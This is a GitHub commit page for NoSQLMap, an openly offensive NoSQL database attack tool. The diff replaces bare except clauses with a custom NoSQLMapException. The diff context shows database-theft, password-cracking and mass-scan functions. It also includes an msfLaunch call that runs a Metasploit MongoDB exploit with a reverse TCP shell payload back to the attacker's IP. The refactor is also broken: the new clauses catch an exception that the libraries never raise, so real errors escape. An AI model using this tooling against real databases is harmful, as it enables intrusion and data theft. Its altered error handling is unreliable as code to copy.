Skip to content

Commit 9912446

Browse files
authored
Merge pull request #99 from bbeale/master
Added base exception class NoSQLMapException inside exception.py.
2 parents cee2348 + e0bf5a4 commit 9912446

File tree

6 files changed

+44
-33
lines changed

6 files changed

+44
-33
lines changed

exception.py

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
#!/usr/bin/python
2+
# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
3+
# See the file 'doc/COPYING' for copying permission
4+
5+
class NoSQLMapException(Exception):
6+
pass

nosqlmap.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
44
# See the file 'doc/COPYING' for copying permission
55

6+
from exception import NoSQLMapException
67
import sys
78
import nsmcouch
89
import nsmmongo
@@ -279,7 +280,7 @@ def options():
279280
print "Bad octet in IP address."
280281
goodDigits = False
281282

282-
except:
283+
except NoSQLMapException("[!] Must be a DNS name."):
283284
#Must be a DNS name (for now)
284285

285286
notDNS = False

nsmcouch.py

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
33
# See the file 'doc/COPYING' for copying permission
44

5+
from exception import NoSQLMapException
56
import couchdb
67
import urllib
78
import requests
@@ -39,10 +40,10 @@ def couchScan(target,port,pingIt):
3940
except couchdb.http.Unauthorized:
4041
return [1,None]
4142

42-
except:
43+
except NoSQLMapException:
4344
return [2,None]
4445

45-
except:
46+
except NoSQLMapException:
4647
return [3,None]
4748

4849
else:
@@ -59,10 +60,10 @@ def couchScan(target,port,pingIt):
5960
except couchdb.http.Unauthorized:
6061
return [1,None]
6162

62-
except:
63+
except NoSQLMapException:
6364
return [2,None]
6465

65-
except:
66+
except NoSQLMapException:
6667
return [3,None]
6768

6869
def netAttacks(target,port, myIP, args = None):
@@ -92,7 +93,7 @@ def netAttacks(target,port, myIP, args = None):
9293
print "CouchDB authenticated on " + target + ":" + str(port)
9394
mgtOpen = True
9495

95-
except:
96+
except NoSQLMapException:
9697
raw_input("Failed to authenticate. Press enter to continue...")
9798
return
9899

@@ -113,7 +114,7 @@ def netAttacks(target,port, myIP, args = None):
113114
if mgtRespCode == 200:
114115
print "Sofa web management open at " + mgtUrl + ". No authentication required!"
115116

116-
except:
117+
except NoSQLMapException:
117118
print "Sofa web management closed or requires authentication."
118119

119120
if mgtOpen == True:
@@ -152,7 +153,7 @@ def getPlatInfo(couchConn, target):
152153
return
153154

154155

155-
def enumAtt(conn,target):
156+
def enumAtt(conn, target, port):
156157
dbList = []
157158
print "Enumerating all attachments..."
158159

@@ -179,7 +180,7 @@ def enumDbs (couchConn,target,port):
179180
print "\n".join(dbList)
180181
print "\n"
181182

182-
except:
183+
except NoSQLMapException:
183184
print "Error: Couldn't list databases. The provided credentials may not have rights."
184185

185186
if '_users' in dbList:
@@ -253,7 +254,7 @@ def stealDBs (myDB,couchConn,target,port):
253254
else:
254255
return
255256

256-
except:
257+
except NoSQLMapException:
257258
raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...")
258259
return
259260

@@ -343,7 +344,7 @@ def dict_pass(key,salt,dbVer):
343344
passList = f.readlines()
344345
loadCheck = True
345346

346-
except:
347+
except NoSQLMapException:
347348
print " Couldn't load file."
348349

349350
print "Running dictionary attack..."

nsmmongo.py

Lines changed: 15 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
33
# See the file 'doc/COPYING' for copying permission
44

5+
from exception import NoSQLMapException
56
import pymongo
67
import urllib
78
import json
@@ -49,7 +50,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None):
4950
conn = pymongo.MongoClient(target)
5051
print "MongoDB authenticated on " + target + ":27017!"
5152
mgtOpen = True
52-
except:
53+
except NoSQLMapException:
5354
raw_input("Failed to authenticate. Press enter to continue...")
5455
return
5556

@@ -91,7 +92,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None):
9192
print "REST interface not enabled."
9293
print "\n"
9394

94-
except Exception, e:
95+
except NoSQLMapException:
9596
print "MongoDB web management closed or requires authentication."
9697

9798
if mgtOpen == True:
@@ -180,7 +181,7 @@ def stealDBs(myDB,victim,mongoConn):
180181
else:
181182
return
182183

183-
except Exception, e:
184+
except NoSQLMapException, e:
184185
if str(e).find('text search not enabled') != -1:
185186
raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...")
186187
return
@@ -231,7 +232,7 @@ def dict_pass(user,key):
231232
with open (dictionary) as f:
232233
passList = f.readlines()
233234
loadCheck = True
234-
except:
235+
except NoSQLMapException:
235236
print " Couldn't load file."
236237

237238
print "Running dictionary attack..."
@@ -303,7 +304,7 @@ def enumDbs (mongoConn):
303304
print "\n".join(mongoConn.database_names())
304305
print "\n"
305306

306-
except:
307+
except NoSQLMapException:
307308
print "Error: Couldn't list databases. The provided credentials may not have rights."
308309

309310
print "List of collections:"
@@ -328,19 +329,19 @@ def enumDbs (mongoConn):
328329
if crack in yes_tag:
329330
passCrack(users[x]['user'],users[x]['pwd'])
330331

331-
except Exception, e:
332+
except NoSQLMapException, e:
332333
print e
333334
print "Error: Couldn't list collections. The provided credentials may not have rights."
334335

335336
print "\n"
336337
return
337338

338339

339-
def msfLaunch():
340+
def msfLaunch(victim, myIP, myPort):
340341
try:
341342
proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"])
342343

343-
except:
344+
except NoSQLMapException:
344345
print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
345346
raw_input("Press enter to continue...")
346347
return
@@ -357,10 +358,10 @@ def enumGrid (mongoConn):
357358
print " list of files:"
358359
print "\n".join(files)
359360

360-
except:
361+
except NoSQLMapException:
361362
print "GridFS not enabled on " + str(dbItem) + "."
362363

363-
except:
364+
except NoSQLMapException:
364365
print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights."
365366

366367
return
@@ -381,7 +382,7 @@ def mongoScan(ip,port,pingIt):
381382
conn.close()
382383
return [0,dbVer]
383384

384-
except:
385+
except NoSQLMapException:
385386
if str(sys.exc_info()).find('need to login') != -1:
386387
conn.close()
387388
return [1,None]
@@ -390,7 +391,7 @@ def mongoScan(ip,port,pingIt):
390391
conn.close()
391392
return [2,None]
392393

393-
except:
394+
except NoSQLMapException:
394395
return [3,None]
395396

396397
else:
@@ -405,7 +406,7 @@ def mongoScan(ip,port,pingIt):
405406
conn.close()
406407
return [0,dbVer]
407408

408-
except Exception, e:
409+
except NoSQLMapException, e:
409410
if str(e).find('need to login') != -1:
410411
conn.close()
411412
return [1,None]
@@ -414,5 +415,5 @@ def mongoScan(ip,port,pingIt):
414415
conn.close()
415416
return [2,None]
416417

417-
except:
418+
except NoSQLMapException:
418419
return [3,None]

nsmscan.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
# See the file 'doc/COPYING' for copying permission
44

55

6+
from exception import NoSQLMapException
67
import ipcalc
78
import nsmmongo
89
import nsmcouch
@@ -41,7 +42,7 @@ def massScan(platform, args = None):
4142
for ip in ipcalc.Network(subnet):
4243
ipList.append(str(ip))
4344
optCheck = False
44-
except:
45+
except NoSQLMapException:
4546
raw_input("Not a valid subnet. Press enter to return to main menu.")
4647
return
4748

@@ -54,7 +55,7 @@ def massScan(platform, args = None):
5455
ipList = f.readlines()
5556
loadCheck = True
5657
optCheck = False
57-
except:
58+
except NoSQLMapException:
5859
print "Couldn't open file."
5960

6061
if loadOpt == "3":
@@ -119,7 +120,7 @@ def massScan(platform, args = None):
119120
print "Scan results saved!"
120121
select = False
121122

122-
except:
123+
except NoSQLMapException:
123124
print "Couldn't save scan results."
124125

125126
elif saveEm in no_tag:

nsmweb.py

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
# See the file 'doc/COPYING' for copying permission
44

55

6+
from exception import NoSQLMapException
67
import urllib
78
import urllib2
89
import string
@@ -106,7 +107,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None):
106107

107108
else:
108109
print "Got " + str(appRespCode) + "from the app, check your options."
109-
except Exception,e:
110+
except NoSQLMapException,e:
110111
print e
111112
print "Looks like the server didn't respond. Check your options."
112113

@@ -445,7 +446,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None)
445446
else:
446447
print "Got " + str(appRespCode) + "from the app, check your options."
447448

448-
except Exception,e:
449+
except NoSQLMapException,e:
449450
print e
450451
print "Looks like the server didn't respond. Check your options."
451452

@@ -464,7 +465,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None)
464465
injIndex = int(args.injectedParameter)
465466
injOpt = str(postData.keys()[int(injIndex)-1])
466467
print "Injecting the " + injOpt + " parameter..."
467-
except:
468+
except NoSQLMapException:
468469
if args == None:
469470
raw_input("Something went wrong. Press enter to return to the main menu...")
470471
return
@@ -909,7 +910,7 @@ def buildUri(origUri, randValue, args=None):
909910
split_uri = origUri.split("?")
910911
params = split_uri[1].split("&")
911912

912-
except:
913+
except NoSQLMapException:
913914
raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...")
914915
return
915916

@@ -938,7 +939,7 @@ def buildUri(origUri, randValue, args=None):
938939
for params in injOpt:
939940
print "Injecting the " + params + " parameter..."
940941

941-
except Exception:
942+
except NoSQLMapException:
942943
raw_input("Something went wrong. Press enter to return to the main menu...")
943944
return
944945

0 commit comments

Comments
 (0)
pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy